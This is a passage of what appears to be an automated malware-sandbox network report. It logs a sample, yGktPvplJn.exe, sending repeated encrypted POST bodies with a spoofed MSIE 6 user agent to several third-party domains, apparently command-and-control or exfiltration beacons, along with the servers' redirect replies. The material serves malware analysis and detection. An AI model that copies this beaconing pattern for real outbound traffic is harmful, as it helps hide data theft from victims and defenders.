69 68 6b 43 66 53 4e 52 2f 45 74 31 67 31 65 67 69 71 58 48 70 42 6b 4a 75 55 6a 76 2b 72 75 57 35 76 6f 4b 32 72 69 69 61 4f 4e 2b 52 56 48 4a 43 2b 48 73 6a 70 54 67 30 62 4e 49 6a 55 53 53 38 71 77 76 4e 34 54 39 54 4d 52 57 71 4c 71 72 68 70 6f 6b 44 43 33 53 69 66 52 6f 36 53 42 2b 67 6e 4e 63 47 6b 46 62 51 79 44 68 62 31 43 4e 34 74 6c 76 42 4c 54 [TRUNCATED] Data Ascii: Hx/xX6EGofcq+L0JAG/5nXpnN4mfdLEvZf9CBUtxMabdx7lqsJGS6Adnklh9wAmwLHbNLsequutHQIxKsj5KXUz5jnnmJmT9QemUkA4RJUN4vAIKMcRJpSwIxbqqBkupNx3ZO9iYs5K7PtkIwbZN9HXK+1kijEad53bMbQCAZNpo2kQN0KEOzfEsLMlumXMgmEj5djwgdMEL0yVwQ93MjVucjGGihkCfSNR/Et1g1egiqXHpBkJuUjv+ruW5voK2riiaON+RVHJC+HsjpTg0bNIjUSS8qwvN4T9TMRWqLqrhpokDC3SifRo6SB+gnNcGkFbQyDhb1CN4tlvBLTNrzRhbnYu0kVyEMLUGBaS/ix4FlgCfm0QZvCmPLVlhgTP2dQhLIMybE9lMkqTOoXdxakui5L8OSnvI+SqIi56odhXFg/ZozXnNaR7CTDeKgdX63G3RZuGukggBWSi1K1DbfacUtFEV7ZXk9wATq2TX1/mpDQcjfBJyaYxniCp+JsAgazDCCRzYLku/EN0isicKQRYkstH1bOunLM7JLT8Pm2wV
Oct 25, 2024 11:17:35.405256033 CEST	659	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 25 Oct 2024 09:17:35 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=; path=/; domain=.www.vazir.se; Max-Age=1; Expires=Thu, 01 Jan 1970 00:00:01 GMT; HttpOnly; SameSite=Lax; Set-Cookie: btst=; path=/; domain=www.vazir.se; Max-Age=1; Expires=Thu, 01 Jan 1970 00:00:01 GMT; HttpOnly; SameSite=Lax; Set-Cookie: btst=5d3dcc97c0c1a425f99b0cbaf502b030\|173.254.250.81\|1729847855\|1729847855\|0\|1\|0; path=/; domain=.vazir.se; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=173.254.250.81; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.5	52569	141.193.213.11	80	1172	C:\Users\user\Desktop\yGktPvplJn.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 11:17:34.692893982 CEST	829	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 596 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.nelipak.nl Cache-Control: no-cache Data Raw: 36 30 54 31 6e 72 71 6a 7a 50 65 6b 76 64 33 50 58 56 38 35 57 50 30 55 37 2b 34 71 37 6c 66 67 6a 6b 47 49 6d 71 59 42 54 51 50 39 30 48 7a 6e 68 6c 61 52 52 65 59 72 38 46 46 4a 6b 38 57 53 2b 66 33 2f 65 32 53 31 70 4b 4c 7a 68 30 45 71 70 75 47 62 59 30 4f 41 6e 51 77 42 54 44 30 54 61 66 38 41 45 72 2f 42 75 75 41 41 46 42 6b 64 4b 65 49 39 79 71 79 38 76 46 7a 74 79 59 45 46 52 59 45 33 4c 71 73 35 38 77 4c 63 51 55 68 73 62 48 49 72 37 49 70 35 73 7a 56 6a 6f 4d 48 77 34 78 54 69 51 34 65 71 48 47 73 44 79 6d 70 57 59 51 70 44 64 2b 58 62 45 65 4d 49 31 62 49 4b 6d 70 47 79 61 6e 46 35 2b 50 4c 72 72 54 54 6c 76 5a 6e 67 79 33 75 71 71 70 31 6e 6b 65 35 35 4e 65 59 47 53 36 68 42 7a 67 73 62 6b 79 38 2f 71 31 33 73 34 43 32 32 32 58 50 6d 46 71 5a 68 65 54 74 6d 49 30 49 52 72 2f 2f 34 4b 51 79 68 51 72 49 61 72 4a 32 64 54 4a 72 61 4d 32 36 44 69 57 43 36 61 45 5a 74 74 6a 47 32 56 58 75 53 70 6a 45 78 4f 6e 31 71 4a 33 70 54 4a 67 49 6b 79 46 6e 55 54 49 72 6c 67 37 31 50 54 37 4b 33 68 62 [TRUNCATED] Data Ascii: 60T1nrqjzPekvd3PXV85WP0U7+4q7lfgjkGImqYBTQP90HznhlaRReYr8FFJk8WS+f3/e2S1pKLzh0EqpuGbY0OAnQwBTD0Taf8AEr/BuuAAFBkdKeI9yqy8vFztyYEFRYE3Lqs58wLcQUhsbHIr7Ip5szVjoMHw4xTiQ4eqHGsDympWYQpDd+XbEeMI1bIKmpGyanF5+PLrrTTlvZngy3uqqp1nke55NeYGS6hBzgsbky8/q13s4C222XPmFqZheTtmI0IRr//4KQyhQrIarJ2dTJraM26DiWC6aEZttjG2VXuSpjExOn1qJ3pTJgIkyFnUTIrlg71PT7K3hbYLA55XWVJXJZiOberiZg4sYLf3agKWEKqJGDCuveV5PC5HxlIvmqBT1ZM78H1SMwjpo+aLMlbk2eWzqGkcbD8B7eAc1jaFb2EwhpOTwxtX9UenDN1RfoPhzriUwm4aTmswp5FzJov0uOvAYkPJdLef0R0idz/3G1BMlWKHGNZb3tG1wtFd+NPEYHqEzRSWfMu+ITZQ7aUOVq4k3aY3WYiDiWgeBe2eXuXm0+X/2iFbTHhCPKzwwgoe5FjO7bRV4uDf
Oct 25, 2024 11:17:35.345912933 CEST	1122	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 25 Oct 2024 09:17:35 GMT Content-Type: text/html Content-Length: 162 Connection: keep-alive Location: http://www.nelipak.com/ Content-Security-Policy: default-src https: data: wss://*.hotjar.com; script-src https: blob: data: 'unsafe-inline' 'unsafe-eval'; style-src https: data: 'unsafe-inline'; img-src data: https: 'unsafe-inline'; font-src data: https: 'unsafe-inline'; frame-ancestors 'self'; object-src 'self' blob; upgrade-insecure-requests; Permissions-Policy: autoplay=(), camera=(), gyroscope=(), magnetometer=(), microphone=(), payment=(), publickey-credentials-get=(), usb=(), browsing-topics=() Referrer-Policy: no-referrer-when-downgrade Strict-Transport-Security: max-age=31536000; preload X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN X-XSS-Protection: 1; mode=block CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 8d811d47185de58d-DFW alt-svc: h3=":443"; ma=86400 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>
Oct 25, 2024 11:17:35.366724014 CEST	829	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 596 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.nelipak.nl Cache-Control: no-cache Data Raw: 36 30 54 31 6e 72 71 6a 7a 50 65 6b 76 64 33 50 58 56 38 35 57 50 30 55 37 2b 34 71 37 6c 66 67 6a 6b 47 49 6d 71 59 42 54 51 50 39 30 48 7a 6e 68 6c 61 52 52 65 59 72 38 46 46 4a 6b 38 57 53 2b 66 33 2f 65 32 53 31 70 4b 4c 7a 68 30 45 71 70 75 47 62 59 30 4f 41 6e 51 77 42 54 44 30 54 61 66 38 41 45 72 2f 42 75 75 41 41 46 42 6b 64 4b 65 49 39 79 71 79 38 76 46 7a 74 79 59 45 46 52 59 45 33 4c 71 73 35 38 77 4c 63 51 55 68 73 62 48 49 72 37 49 70 35 73 7a 56 6a 6f 4d 48 77 34 78 54 69 51 34 65 71 48 47 73 44 79 6d 70 57 59 51 70 44 64 2b 58 62 45 65 4d 49 31 62 49 4b 6d 70 47 79 61 6e 46 35 2b 50 4c 72 72 54 54 6c 76 5a 6e 67 79 33 75 71 71 70 31 6e 6b 65 35 35 4e 65 59 47 53 36 68 42 7a 67 73 62 6b 79 38 2f 71 31 33 73 34 43 32 32 32 58 50 6d 46 71 5a 68 65 54 74 6d 49 30 49 52 72 2f 2f 34 4b 51 79 68 51 72 49 61 72 4a 32 64 54 4a 72 61 4d 32 36 44 69 57 43 36 61 45 5a 74 74 6a 47 32 56 58 75 53 70 6a 45 78 4f 6e 31 71 4a 33 70 54 4a 67 49 6b 79 46 6e 55 54 49 72 6c 67 37 31 50 54 37 4b 33 68 62 [TRUNCATED] Data Ascii: 60T1nrqjzPekvd3PXV85WP0U7+4q7lfgjkGImqYBTQP90HznhlaRReYr8FFJk8WS+f3/e2S1pKLzh0EqpuGbY0OAnQwBTD0Taf8AEr/BuuAAFBkdKeI9yqy8vFztyYEFRYE3Lqs58wLcQUhsbHIr7Ip5szVjoMHw4xTiQ4eqHGsDympWYQpDd+XbEeMI1bIKmpGyanF5+PLrrTTlvZngy3uqqp1nke55NeYGS6hBzgsbky8/q13s4C222XPmFqZheTtmI0IRr//4KQyhQrIarJ2dTJraM26DiWC6aEZttjG2VXuSpjExOn1qJ3pTJgIkyFnUTIrlg71PT7K3hbYLA55XWVJXJZiOberiZg4sYLf3agKWEKqJGDCuveV5PC5HxlIvmqBT1ZM78H1SMwjpo+aLMlbk2eWzqGkcbD8B7eAc1jaFb2EwhpOTwxtX9UenDN1RfoPhzriUwm4aTmswp5FzJov0uOvAYkPJdLef0R0idz/3G1BMlWKHGNZb3tG1wtFd+NPEYHqEzRSWfMu+ITZQ7aUOVq4k3aY3WYiDiWgeBe2eXuXm0+X/2iFbTHhCPKzwwgoe5FjO7bRV4uDf
Oct 25, 2024 11:17:35.534410954 CEST	1122	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 25 Oct 2024 09:17:35 GMT Content-Type: text/html Content-Length: 162 Connection: keep-alive Location: http://www.nelipak.com/ Content-Security-Policy: default-src https: data: wss://*.hotjar.com; script-src https: blob: data: 'unsafe-inline' 'unsafe-eval'; style-src https: data: 'unsafe-inline'; img-src data: https: 'unsafe-inline'; font-src data: https: 'unsafe-inline'; frame-ancestors 'self'; object-src 'self' blob; upgrade-insecure-requests; Permissions-Policy: autoplay=(), camera=(), gyroscope=(), magnetometer=(), microphone=(), payment=(), publickey-credentials-get=(), usb=(), browsing-topics=() Referrer-Policy: no-referrer-when-downgrade Strict-Transport-Security: max-age=31536000; preload X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN X-XSS-Protection: 1; mode=block CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 8d811d486928e58d-DFW alt-svc: h3=":443"; ma=86400 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.5	52570	172.67.173.200	80	1172	C:\Users\user\Desktop\yGktPvplJn.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 11:17:34.743486881 CEST	825	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 592 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.vexcom.com Cache-Control: no-cache Data Raw: 70 78 63 6c 51 2b 5a 49 32 76 64 6b 67 63 75 39 67 55 73 47 36 67 6e 7a 37 50 54 47 43 45 69 65 65 6f 4d 61 6b 49 4d 64 33 43 6f 4e 73 33 6f 30 55 64 6d 4c 73 32 61 78 43 44 34 52 72 37 55 53 64 6a 63 67 41 39 6a 76 53 58 62 70 64 62 6b 4f 48 50 77 36 45 30 7a 52 78 72 6c 31 75 69 6f 33 4f 41 34 74 6a 66 74 58 58 4d 46 6e 74 62 63 73 34 46 7a 77 69 41 38 63 4f 4b 43 64 46 36 35 4f 37 78 56 41 4c 2b 49 57 68 70 63 74 58 51 43 49 32 39 66 76 53 64 33 65 77 78 6a 58 2f 66 78 31 43 5a 39 52 36 6e 42 6c 35 6a 64 4b 72 4e 4d 4a 4d 7a 56 48 74 4d 62 4e 56 70 4d 57 39 62 64 6d 6c 4d 50 78 51 44 76 75 47 4d 54 37 6d 52 4f 6e 65 54 69 71 73 4f 45 72 73 33 57 2f 64 67 6f 48 44 6d 32 54 4b 2f 6a 65 2b 75 78 37 62 59 74 39 7a 58 67 75 58 65 33 36 63 47 4f 59 51 67 66 2b 62 76 2b 62 6e 52 68 6c 33 6c 64 75 39 69 70 59 2b 75 47 51 5a 62 78 31 32 4c 2b 65 43 4b 38 68 52 64 67 42 4f 7a 30 54 71 6e 2f 36 63 59 47 46 6e 32 46 46 54 6c 48 32 59 39 55 66 38 6c 35 65 43 49 72 7a 46 47 31 45 48 51 48 49 2b 4f 58 2f 6f 6b [TRUNCATED] Data Ascii: pxclQ+ZI2vdkgcu9gUsG6gnz7PTGCEieeoMakIMd3CoNs3o0UdmLs2axCD4Rr7USdjcgA9jvSXbpdbkOHPw6E0zRxrl1uio3OA4tjftXXMFntbcs4FzwiA8cOKCdF65O7xVAL+IWhpctXQCI29fvSd3ewxjX/fx1CZ9R6nBl5jdKrNMJMzVHtMbNVpMW9bdmlMPxQDvuGMT7mROneTiqsOErs3W/dgoHDm2TK/je+ux7bYt9zXguXe36cGOYQgf+bv+bnRhl3ldu9ipY+uGQZbx12L+eCK8hRdgBOz0Tqn/6cYGFn2FFTlH2Y9Uf8l5eCIrzFG1EHQHI+OX/okEl9cUVC4GAb3fEeoA0g6qotszQok8yxeVPuVM3TZrQKcWe4SKF1Orfbh6OqRJ5VPbgRj6OvoKg0k+DAGCEHvNcX/+XRyZ1UhtPQqc/NCgIqtotjoP5n+V4fVHmdxsnL0pMJEpxZG0BfJeSA3If1QHpEBSCudeT420uUPTG6R0DEEFods4Q49LZw+DQRQmqV1USV5g1jeg81BhumLmid0BDTpVH+NwIoVgWATNks9uL6Xso8fO3OmnRgxEYgbQ=
Oct 25, 2024 11:17:35.358306885 CEST	994	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 25 Oct 2024 09:17:35 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Fri, 25 Oct 2024 10:17:35 GMT Location: https://entexture.com Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2NLurpfmyf3osh2J75h1h767SX1WMn%2ByYXm135ugfJ4m9kRDR8FgmHj%2Fc6mcIC53nixum0SDcLUTh9INxbQV71WCXD4R5TmEGm7btOgbcVmqVMu2tmnwnw%2Fdwy2x5HXlaQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d811d478b756b56-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1151&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=825&delivery_rate=0&cwnd=249&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>
Oct 25, 2024 11:17:35.378930092 CEST	825	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 592 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.vexcom.com Cache-Control: no-cache Data Raw: 70 78 63 6c 51 2b 5a 49 32 76 64 6b 67 63 75 39 67 55 73 47 36 67 6e 7a 37 50 54 47 43 45 69 65 65 6f 4d 61 6b 49 4d 64 33 43 6f 4e 73 33 6f 30 55 64 6d 4c 73 32 61 78 43 44 34 52 72 37 55 53 64 6a 63 67 41 39 6a 76 53 58 62 70 64 62 6b 4f 48 50 77 36 45 30 7a 52 78 72 6c 31 75 69 6f 33 4f 41 34 74 6a 66 74 58 58 4d 46 6e 74 62 63 73 34 46 7a 77 69 41 38 63 4f 4b 43 64 46 36 35 4f 37 78 56 41 4c 2b 49 57 68 70 63 74 58 51 43 49 32 39 66 76 53 64 33 65 77 78 6a 58 2f 66 78 31 43 5a 39 52 36 6e 42 6c 35 6a 64 4b 72 4e 4d 4a 4d 7a 56 48 74 4d 62 4e 56 70 4d 57 39 62 64 6d 6c 4d 50 78 51 44 76 75 47 4d 54 37 6d 52 4f 6e 65 54 69 71 73 4f 45 72 73 33 57 2f 64 67 6f 48 44 6d 32 54 4b 2f 6a 65 2b 75 78 37 62 59 74 39 7a 58 67 75 58 65 33 36 63 47 4f 59 51 67 66 2b 62 76 2b 62 6e 52 68 6c 33 6c 64 75 39 69 70 59 2b 75 47 51 5a 62 78 31 32 4c 2b 65 43 4b 38 68 52 64 67 42 4f 7a 30 54 71 6e 2f 36 63 59 47 46 6e 32 46 46 54 6c 48 32 59 39 55 66 38 6c 35 65 43 49 72 7a 46 47 31 45 48 51 48 49 2b 4f 58 2f 6f 6b [TRUNCATED] Data Ascii: pxclQ+ZI2vdkgcu9gUsG6gnz7PTGCEieeoMakIMd3CoNs3o0UdmLs2axCD4Rr7USdjcgA9jvSXbpdbkOHPw6E0zRxrl1uio3OA4tjftXXMFntbcs4FzwiA8cOKCdF65O7xVAL+IWhpctXQCI29fvSd3ewxjX/fx1CZ9R6nBl5jdKrNMJMzVHtMbNVpMW9bdmlMPxQDvuGMT7mROneTiqsOErs3W/dgoHDm2TK/je+ux7bYt9zXguXe36cGOYQgf+bv+bnRhl3ldu9ipY+uGQZbx12L+eCK8hRdgBOz0Tqn/6cYGFn2FFTlH2Y9Uf8l5eCIrzFG1EHQHI+OX/okEl9cUVC4GAb3fEeoA0g6qotszQok8yxeVPuVM3TZrQKcWe4SKF1Orfbh6OqRJ5VPbgRj6OvoKg0k+DAGCEHvNcX/+XRyZ1UhtPQqc/NCgIqtotjoP5n+V4fVHmdxsnL0pMJEpxZG0BfJeSA3If1QHpEBSCudeT420uUPTG6R0DEEFods4Q49LZw+DQRQmqV1USV5g1jeg81BhumLmid0BDTpVH+NwIoVgWATNks9uL6Xso8fO3OmnRgxEYgbQ=
Oct 25, 2024 11:17:35.509758949 CEST	1007	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 25 Oct 2024 09:17:35 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Fri, 25 Oct 2024 10:17:35 GMT Location: https://entexture.com Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=K%2FFSA0rhVJ2%2FMQnQUhhQgDRmVOhLxzt59A9rzio707vwfZYVg8lIa9nDZYIHYC4%2F9TTVwtfaCqd5G%2F9nkD%2BDRXhgOJTRTzvHDPiUK657RBZgIkxvzLJvdKMVYjN7GnDpNw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d811d488bff6b56-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1156&sent=2&recv=5&lost=0&retrans=0&sent_bytes=994&recv_bytes=1650&delivery_rate=1210702&cwnd=250&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.5	52571	80.74.154.6	80	1172	C:\Users\user\Desktop\yGktPvplJn.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 11:17:34.920375109 CEST	831	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 596 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.transsib.com Cache-Control: no-cache Data Raw: 64 50 43 73 64 43 65 46 37 50 66 41 7a 36 65 79 31 6b 42 4f 45 66 41 52 31 70 4f 64 6c 4d 6a 38 53 30 75 46 30 71 68 37 53 4d 4c 34 33 45 76 34 50 39 7a 4e 79 31 4a 54 76 35 49 34 41 6f 45 56 48 6d 54 5a 63 6d 6f 76 30 54 41 5a 2b 44 4c 6f 73 67 59 77 65 52 2b 37 34 78 77 75 57 6b 2f 30 33 4b 39 4d 47 2b 43 71 37 66 69 6c 58 39 59 70 56 50 69 42 5a 53 4b 79 56 55 4c 69 68 2b 66 68 32 74 45 36 73 4b 32 30 74 44 35 52 70 69 71 6c 53 4a 48 55 64 31 32 4e 71 41 2f 30 70 6f 53 4e 55 71 65 79 6b 39 53 46 52 76 4d 49 49 52 64 59 6d 69 74 4e 4f 64 31 65 4e 35 6f 6f 49 6b 45 56 42 4e 4f 78 36 33 71 79 33 65 58 66 48 56 78 32 50 79 4c 37 6f 67 71 67 66 4e 7a 6f 44 46 79 77 6f 37 6b 72 5a 70 49 54 52 43 4d 2f 70 51 52 4a 50 34 47 42 71 49 31 4b 66 4e 59 32 46 4e 6f 79 35 71 6a 4d 48 7a 78 46 56 77 34 36 31 54 4a 33 33 56 79 7a 50 35 6e 55 42 6f 51 71 41 34 67 70 46 62 75 49 4d 36 44 6b 6a 62 74 69 31 2b 39 6c 31 59 79 50 65 77 69 72 56 59 44 6f 6f 69 39 39 61 6b 71 79 31 54 49 52 56 36 68 32 75 73 59 73 47 6e [TRUNCATED] Data Ascii: dPCsdCeF7PfAz6ey1kBOEfAR1pOdlMj8S0uF0qh7SML43Ev4P9zNy1JTv5I4AoEVHmTZcmov0TAZ+DLosgYweR+74xwuWk/03K9MG+Cq7filX9YpVPiBZSKyVULih+fh2tE6sK20tD5RpiqlSJHUd12NqA/0poSNUqeyk9SFRvMIIRdYmitNOd1eN5ooIkEVBNOx63qy3eXfHVx2PyL7ogqgfNzoDFywo7krZpITRCM/pQRJP4GBqI1KfNY2FNoy5qjMHzxFVw461TJ33VyzP5nUBoQqA4gpFbuIM6Dkjbti1+9l1YyPewirVYDooi99akqy1TIRV6h2usYsGn4vPnqsJ2zY05zfCx2z5HFhAVZ3xJyuFVi85I++DQWwKKC+n/PIwKy6XMLJEzIYQp1LLOZ6FlpwXRJk9q7b5sIllG8EC/Mce0Vxb1pN9FB41No4ycJAeibRGg+DPuhh18teBBbTPAAZPhMvW9CVHBUMZV7RGi379Is19JxeEEGv+5JV2AGJLfh8LbOM8d8I1w+Npsz95l68c54qrCZkaO4uIWvHzbbYrWNbSEM1rEuZMoCHEEm9xsSpdj+a1GhjBwFf
Oct 25, 2024 11:17:35.784240961 CEST	355	IN	HTTP/1.1 301 Moved Permanently Server: nginx Date: Fri, 25 Oct 2024 09:17:35 GMT Content-Type: text/html Content-Length: 162 Connection: keep-alive Location: https://www.transsib.com/ Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>
Oct 25, 2024 11:17:35.819919109 CEST	831	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 596 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.transsib.com Cache-Control: no-cache Data Raw: 64 50 43 73 64 43 65 46 37 50 66 41 7a 36 65 79 31 6b 42 4f 45 66 41 52 31 70 4f 64 6c 4d 6a 38 53 30 75 46 30 71 68 37 53 4d 4c 34 33 45 76 34 50 39 7a 4e 79 31 4a 54 76 35 49 34 41 6f 45 56 48 6d 54 5a 63 6d 6f 76 30 54 41 5a 2b 44 4c 6f 73 67 59 77 65 52 2b 37 34 78 77 75 57 6b 2f 30 33 4b 39 4d 47 2b 43 71 37 66 69 6c 58 39 59 70 56 50 69 42 5a 53 4b 79 56 55 4c 69 68 2b 66 68 32 74 45 36 73 4b 32 30 74 44 35 52 70 69 71 6c 53 4a 48 55 64 31 32 4e 71 41 2f 30 70 6f 53 4e 55 71 65 79 6b 39 53 46 52 76 4d 49 49 52 64 59 6d 69 74 4e 4f 64 31 65 4e 35 6f 6f 49 6b 45 56 42 4e 4f 78 36 33 71 79 33 65 58 66 48 56 78 32 50 79 4c 37 6f 67 71 67 66 4e 7a 6f 44 46 79 77 6f 37 6b 72 5a 70 49 54 52 43 4d 2f 70 51 52 4a 50 34 47 42 71 49 31 4b 66 4e 59 32 46 4e 6f 79 35 71 6a 4d 48 7a 78 46 56 77 34 36 31 54 4a 33 33 56 79 7a 50 35 6e 55 42 6f 51 71 41 34 67 70 46 62 75 49 4d 36 44 6b 6a 62 74 69 31 2b 39 6c 31 59 79 50 65 77 69 72 56 59 44 6f 6f 69 39 39 61 6b 71 79 31 54 49 52 56 36 68 32 75 73 59 73 47 6e [TRUNCATED] Data Ascii: 